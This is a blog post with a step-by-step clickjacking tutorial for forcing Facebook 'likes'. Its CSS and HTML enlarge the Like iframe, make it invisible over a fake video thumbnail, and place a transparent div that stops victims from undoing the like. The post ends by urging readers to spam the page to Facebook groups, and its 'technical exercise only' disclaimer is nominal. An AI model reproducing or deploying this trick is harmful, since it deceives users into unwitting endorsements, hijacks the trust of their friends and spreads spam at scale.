Facebook Viral Forced Likes Script

Sneaky Way to Steal Likes

A Classic Take on the Facebook "Like-Jacking" Trick

Demo: Here
Source Files: Here
Good Morning internets.
If you have used the internet at some point in the last 5 years you will be aware of the unstoppable force that is Facebook.
With over 500million members and a valuation in the region of $100billion it is clearly a huge resource for internet marketers. One thing I really like about the black hat internet marketing crowd is the innovation that seems to come out. Once you remove the barrier of whats ethical and proper and focus purely on the technicals of the web you can achieve some pretty ingenious stuff.

A prime example of this is the Facebook viral likes idea, Im sure you will have seen it before on your facebook newsfeed where a friend likes a link to a webpage that contains a funny video. If you go to the link and try and press play on the video it often doesnt play or asks you to fill out a survey or some other stuff but it almost always forces you to “like” the link posting it to your facebook wall/newsfeed without realising that you have.
This in turn shows it to all of your facebook friends who will then click on it and unknowingly post it to their walls shwoing to to all their friends who in turn……. etc, etc,

The idea being that the script “goes viral” and grows exponentially as it gets shared all over facebook.
For Example:
Like this on facebook

This is a normal news story link that a friend of mine chose to share on facebook, the implication is that this is something that a friend of mine found funny or interesting and thusly it is quite likely that I would also enjoy this link. This is the great benefit here, rather than a link suggested by a computer algorithm (google search results), these links carry with them a personal recommendation by someone you know and trust.
And so by abusing this system and forcing users to share a link on their facebook you hijack this trust and promote your link to a users facebook friends with the implication that the person sharing it endorses it. You in affect abuse the trust of the person that shares the link.
Not cool.

If you have ever added a facebook “like” function to your site before you might well know that there are 2 different options to choose from, iframe or JavaScript.
The JavaScript requires you to jump through some hoops and give details about you site etc which is a bit of a pain plus I really hate JavaScript. So with this in mind I chose the iframe version to make my force like viral script.
The idea is pretty simple.

  1. Create an image that looks like a funny video.
  2. Place a huge “LIKE” button in a div over the top of the funny video image
  3. Make the “LIKE” div transparent.
  4. ???
  5. PROFIT

First a few caveats.. This script is designed to trick people into liking your page, its not really a good thing to do and facebook will probably bring down the ban hammer on your url. Its designed as a technical exercise only I accept no responsibility for you if you use it to do wrong stuff. Thanks!
So we make the iframe huge by putting it in a div and making the div zoom right in.

.herp {
position:fixed;
-moz-transform: scale(20.0);
-webkit-transform: scale(20.0);
-ms-transform: scale(20.0);
top:380px;
left:220px;
}

Secondly we lay a div over the left to prevent people being able to click the x and “unlinke” once they have liked the page.

.derp2 {
position:fixed;
background-color:transparent;
height:2000px;
width:160px;
top:0px;
left:0px;
z-index:2;
}

the z-index of the divs needs to be as follows.
Bottom: Image of the video (z-index:-1;)
Middle: Facebook iFrame (z-index:1;)
Top: Div to block the clicking of the x. (z-index:2;)
like this:
Huge Facebook Like Button

Then we add the video image:

.derp {
position:fixed;
top:0px;
left:0px;
z-index:-2;
}

Finally set the “like” div to 0 transparency and make the background look a bit more legit:

opacity:.0;

And the html:

<body bgcolor="#FFF">
<div class="herp">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.danclarkie.co.uk/i-am-a-fool-i-click-silly-spammy-links%2F&amp;layout=standard&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:35px;" allowTransparency="true"></iframe></div>
<div class="derp" ><img src="back.png" /></div>
<div class="derp2"></div>

Now spam it to a few facebook groups and watch the visits EXPLODE!!!!!

note: you need to do some tweaking to make it work properly in IE but included in the source files above is a quick work around :)